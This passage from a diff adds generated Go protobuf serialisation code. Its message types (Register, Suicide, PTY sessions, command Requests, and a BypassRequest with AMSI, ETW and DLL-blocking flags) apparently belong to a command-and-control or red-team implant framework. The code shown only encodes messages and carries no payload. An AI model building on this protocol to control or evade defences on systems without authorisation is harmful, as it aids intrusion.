s.WriteBytes(x.OutputData) + } + if x.OutputText != "" || s.HasField("outputText") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("outputText") + s.WriteString(x.OutputText) + } + if x.Error != "" || s.HasField("error") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("error") + s.WriteString(x.Error) + } + if x.SessionActive || s.HasField("sessionActive") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sessionActive") + s.WriteBool(x.SessionActive) + } + if len(x.ActiveSessions) > 0 || s.HasField("activeSessions") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("activeSessions") + s.WriteStringArray(x.ActiveSessions) + } + if x.Metadata != nil || s.HasField("metadata") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("metadata") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Metadata { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the PtyResponse to JSON. +func (x *PtyResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the PtyResponse message from JSON. +func (x *PtyResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "session_id", "sessionId": + s.AddField("session_id") + x.SessionId = s.ReadString() + case "output_data", "outputData": + s.AddField("output_data") + x.OutputData = s.ReadBytes() + case "output_text", "outputText": + s.AddField("output_text") + x.OutputText = s.ReadString() + case "error": + s.AddField("error") + x.Error = s.ReadString() + case "session_active", "sessionActive": + s.AddField("session_active") + x.SessionActive = s.ReadBool() + case "active_sessions", "activeSessions": + s.AddField("active_sessions") + if s.ReadNil() { + x.ActiveSessions = nil + return + } + x.ActiveSessions = s.ReadStringArray() + case "metadata": + s.AddField("metadata") + if s.ReadNil() { + x.Metadata = nil + return + } + x.Metadata = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Metadata[key] = s.ReadString() + }) + } + }) +} + +// UnmarshalJSON unmarshals the PtyResponse from JSON. +func (x *PtyResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the CommonBody message to JSON. +func (x *CommonBody) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if len(x.U32Array) > 0 || s.HasField("u32Array") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("u32Array") + s.WriteUint32Array(x.U32Array) + } + if len(x.U64Array) > 0 || s.HasField("u64Array") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("u64Array") + s.WriteUint64Array(x.U64Array) + } + if len(x.BoolArray) > 0 || s.HasField("boolArray") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("boolArray") + s.WriteBoolArray(x.BoolArray) + } + if len(x.StringArray) > 0 || s.HasField("stringArray") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("stringArray") + s.WriteStringArray(x.StringArray) + } + if len(x.BytesArray) > 0 || s.HasField("bytesArray") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bytesArray") + s.WriteBytesArray(x.BytesArray) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the CommonBody to JSON. +func (x *CommonBody) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the CommonBody message from JSON. +func (x *CommonBody) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "u32_array", "u32Array": + s.AddField("u32_array") + if s.ReadNil() { + x.U32Array = nil + return + } + x.U32Array = s.ReadUint32Array() + case "u64_array", "u64Array": + s.AddField("u64_array") + if s.ReadNil() { + x.U64Array = nil + return + } + x.U64Array = s.ReadUint64Array() + case "bool_array", "boolArray": + s.AddField("bool_array") + if s.ReadNil() { + x.BoolArray = nil + return + } + x.BoolArray = s.ReadBoolArray() + case "string_array", "stringArray": + s.AddField("string_array") + if s.ReadNil() { + x.StringArray = nil + return + } + x.StringArray = s.ReadStringArray() + case "bytes_array", "bytesArray": + s.AddField("bytes_array") + if s.ReadNil() { + x.BytesArray = nil + return + } + x.BytesArray = s.ReadBytesArray() + } + }) +} + +// UnmarshalJSON unmarshals the CommonBody from JSON. +func (x *CommonBody) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +func (m *Ping) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Ping) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Ping) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Nonce != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Nonce)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Register) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Register) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Register) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Secure != nil { + size, err := m.Secure.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Sysinfo != nil { + size, err := m.Sysinfo.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x5a + } + if m.Timer != nil { + size, err := m.Timer.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x2a + } + if len(m.Addons) > 0 { + for iNdEx := len(m.Addons) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Addons[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Module) > 0 { + for iNdEx := len(m.Module) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Module[iNdEx]) + copy(dAtA[i:], m.Module[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Module[iNdEx]))) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Proxy) > 0 { + i -= len(m.Proxy) + copy(dAtA[i:], m.Proxy) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Proxy))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Secure) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Secure) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Secure) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0x22 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0x1a + } + if len(m.Key) > 0 { + i -= len(m.Key) + copy(dAtA[i:], m.Key) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Key))) + i-- + dAtA[i] = 0x12 + } + if m.Enable { + i-- + if m.Enable { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *KeyExchangeRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *KeyExchangeRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *KeyExchangeRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Nonce) > 0 { + i -= len(m.Nonce) + copy(dAtA[i:], m.Nonce) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Nonce))) + i-- + dAtA[i] = 0x22 + } + if m.Timestamp != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timestamp)) + i-- + dAtA[i] = 0x18 + } + if len(m.Signature) > 0 { + i -= len(m.Signature) + copy(dAtA[i:], m.Signature) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Signature))) + i-- + dAtA[i] = 0x12 + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *KeyExchangeResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *KeyExchangeResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *KeyExchangeResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.PublicKey) > 0 { + i -= len(m.PublicKey) + copy(dAtA[i:], m.PublicKey) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.PublicKey))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Init) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Init) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Init) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *SysInfo) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SysInfo) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *SysInfo) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Process != nil { + size, err := m.Process.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x62 + } + if m.Os != nil { + size, err := m.Os.MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x5a + } + if m.IsPrivilege { + i-- + if m.IsPrivilege { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Workdir) > 0 { + i -= len(m.Workdir) + copy(dAtA[i:], m.Workdir) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Workdir))) + i-- + dAtA[i] = 0x12 + } + if len(m.Filepath) > 0 { + i -= len(m.Filepath) + copy(dAtA[i:], m.Filepath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Filepath))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Suicide) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Suicide) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Suicide) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Timestamp != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Timestamp)) + i-- + dAtA[i] = 0x10 + } + if m.Type != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Type)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Request) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Request) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Request) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0x2a + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Args) > 0 { + for iNdEx := len(m.Args) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Args[iNdEx]) + copy(dAtA[i:], m.Args[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args[iNdEx]))) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Input) > 0 { + i -= len(m.Input) + copy(dAtA[i:], m.Input) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Input))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Response) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Response) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Response) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Array) > 0 { + for iNdEx := len(m.Array) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Array[iNdEx]) + copy(dAtA[i:], m.Array[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Array[iNdEx]))) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Kv) > 0 { + for k := range m.Kv { + v := m.Kv[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x1a + } + } + if len(m.Error) > 0 { + i -= len(m.Error) + copy(dAtA[i:], m.Error) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Error))) + i-- + dAtA[i] = 0x12 + } + if len(m.Output) > 0 { + i -= len(m.Output) + copy(dAtA[i:], m.Output) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Output))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *BypassRequest) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *BypassRequest) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *BypassRequest) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.BlockDll { + i-- + if m.BlockDll { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.AMSI { + i-- + if m.AMSI { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.ETW { + i-- + if m.ETW { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *NetInterface) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *NetInterface) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *NetInterface) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.IpAddresses) > 0 { + for iNdEx := len(m.IpAddresses) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.IpAddresses[iNdEx]) + copy(dAtA[i:], m.IpAddresses[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.IpAddresses[iNdEx]))) + i-- + dAtA[i] = 0x22 + } + } + if len(m.Mac) > 0 { + i -= len(m.Mac) + copy(dAtA[i:], m.Mac) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Mac))) + i-- + dAtA[i] = 0x1a + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0x12 + } + if m.Index != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Index)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *SockTabEntry) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *SockTabEntry) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *SockTabEntry) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Protocol) > 0 { + i -= len(m.Protocol) + copy(dAtA[i:], m.Protocol) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Protocol))) + i-- + dAtA[i] = 0x32 + } + if len(m.Pid) > 0 { + i -= len(m.Pid) + copy(dAtA[i:], m.Pid) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Pid))) + i-- + dAtA[i] = 0x2a + } + if len(m.SkState) > 0 { + i -= len(m.SkState) + copy(dAtA[i:], m.SkState) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SkState))) + i-- + dAtA[i] = 0x1a + } + if len(m.RemoteAddr) > 0 { + i -= len(m.RemoteAddr) + copy(dAtA[i:], m.RemoteAddr) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.RemoteAddr))) + i-- + dAtA[i] = 0x12 + } + if len(m.LocalAddr) > 0 { + i -= len(m.LocalAddr) + copy(dAtA[i:], m.LocalAddr) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.LocalAddr))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *NetstatResponse) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *NetstatResponse) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *NetstatResponse) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Socks) > 0 { + for iNdEx := len(m.Socks) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Socks[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *Block) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Block) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Block) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if len(m.Content) > 0 { + i -= len(m.Content) + copy(dAtA[i:], m.Content) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Content))) + i-- + dAtA[i] = 0x12 + } + if m.BlockId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.BlockId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *ACK) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ACK) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *ACK) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.End { + i-- + if m.End { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x18 + } + if m.Success { + i-- + if m.Success { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x10 + } + if m.Id != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Id)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *Os) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Os) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *Os) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.ClrVersion) > 0 { + for iNdEx := len(m.ClrVersion) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.ClrVersion[iNdEx]) + copy(dAtA[i:], m.ClrVersion[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ClrVersion[iNdEx]))) + i-- + dAtA[i] = 0x42 + } + } + if len(m.Locale) > 0 { + i -= len(m.Locale) + copy(dAtA[i:], m.Locale) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Locale))) + i-- + dAtA[i] = 0x3a + } + if len(m.Hostname) > 0 { + i -= len(m.Hostname) + copy(dAtA[i:], m.Hostname) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Hostname))) + i-- + dAtA[i] = 0x32 + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0x2a + } + if len(m.Arch) > 0 { + i -= len(m.Arch) + copy(dAtA[i:], m.Arch) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Arch))) + i-- + dAtA[i] = 0x22 + } + if len(m.Release) > 0 { + i -= len(m.Release) + copy(dAtA[i:], m.Release) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Release))) + i-- + dAtA[i] = 0x1a + } + if len(m.Version) > 0 { + i -= len(m.Version) + copy(dAtA[i:], m.Version) + i = protobuf_go_lite.EncodeVarint(dAtA, i, 